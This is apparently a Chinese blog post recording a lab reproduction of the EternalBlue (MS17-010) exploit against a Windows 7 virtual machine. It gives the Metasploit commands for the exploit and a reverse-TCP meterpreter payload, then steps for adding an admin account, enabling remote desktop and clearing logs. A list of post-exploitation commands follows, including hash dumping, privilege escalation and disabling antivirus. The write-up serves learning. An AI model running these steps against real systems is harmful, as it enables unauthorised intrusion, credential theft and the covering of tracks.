永恒之蓝ms17-010漏洞利用复现

  • Post author:
  • Post category:其他


一、永恒之蓝简述:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,

英国



俄罗斯

、整个

欧洲

以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

二、SMB服务简述:

SMB(全称是Server Message Block)是一个

协议

名,它能被用于

Web

连接和

客户端

与服务器之间的

信息沟通

,端口:445。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将

DOS操作系统

中的本地文件接口“中断13”改造为

网络文件系统

三、漏洞原理

1、永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

2、SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。

—–想了解SMB具体漏洞原理可以点击链接: NSA Eternalblue SMB 漏洞分析.

四、需要工具

1、windows系统(靶机)(192.168.3.59)我这里使用的是在虚拟机里新建的win7系统

2、kali linux系统(攻击机)(192.168.3.42)我这里使用的是kali2021版本

五、复现验证

1.在kaili上使用nmap探测win7的端口信息:

nmap 192.168.3.59

,可以看到该机器已开启445端口

也可以查看该445端口的banner信息,命令

nmap -sV -p445 192.168.3.59

探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

打开MSF渗透工具, 使用kali自带的metasploit,输入

msfconsole

进入msf。

输入

search ms17_010

,搜索ms17_010漏洞

使用漏洞模块 :

auxiliary/scanner/smb/smb_ms17_010

模块;主要是为了扫描看目标靶机是否存在ms17-010漏洞

查看

auxiliary/scanner/smb/smb_ms17_010

模块的配置信息 查询该模块需要的参数,命令

show options

,可以看到主要的参数是攻击的主机RHOSTS

在扫描模块设置win7靶机的ip:

set rhosts 192.168.3.59



运行后会自动返回 rhost→192.168.3.59

输入

show options



即可查看是否成功赋值上,如果写错了可以选择unset rhosts来取消重新选择

设置完成后,模块对目标靶机进行扫描 可以看到,Host is likely VULNERABLE to MS17-010(主机可能容易受到MS17-010的攻击!),证明可能存在永恒之蓝漏洞,下面开始利用 ;【这里要注意:如果没扫描到Host is likely VULNERABLE to MS17-010漏洞,那就有可能是被防火墙拦截了,只需关闭防火墙即可】

搜索ms17-010漏洞利用模块 ;

这里win7需要使要exploit/windows/smb/ms17_010_eternalblue,windows2003使用exploit/windows/smb/ms17_010_psexec 这里我们使用

use exploit/windows/smb/ms17_010_eternalblue(进行攻击)

输入

show options


查看

auxiliary(scanner/smb/smb_ms17_010)模块的配置信息

在攻击模块里设置win7靶机的IP 运行后会自动返回rhosts→192.168.3.59(如果有多个攻击目标ip间直接用空格隔开就行)

查看漏洞模块信息:info

这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

查看可用的攻击payload。该命令可以查看当下漏洞利用模块下可用的所有Payload

【攻击载荷(默认windows/x64/meterpreter/reverse_tcp)命令是:set payload windows/x64/meterpreter/reverse_tcp】

设置接收信息的本地设备:

set LHOST 192.168.3.42

,运行结束后自动返回LHOST 192.168.3.42

运行结束后,获取到了meterpreter权限

输入shell直接进入靶机,在这里输入

chcp 65001

改一下编码不然会乱码

给靶机创建一个用户

给靶机上刚创建的用户增加管理员权限,让它有远程控制的权限

用kali把win7靶机远程桌面服务打开 (还有一种方法运用getuid脚本开启目标主机远程桌面:run getgui -e或者run post/windows/manage/enable_rdp)

在kali终端,使用添加的管理员账户admin进行远程桌面

弹出win7界面,直接登录就行了

可以再kail上用这个命令清除日志【clearev】,也可在靶机上删除

六、后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图


总结:

这是我对永恒之蓝ms17-010漏洞利用的学习总结,分享给大家一起学习,希望大家多多指点!



版权声明:本文为qq_45884775原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。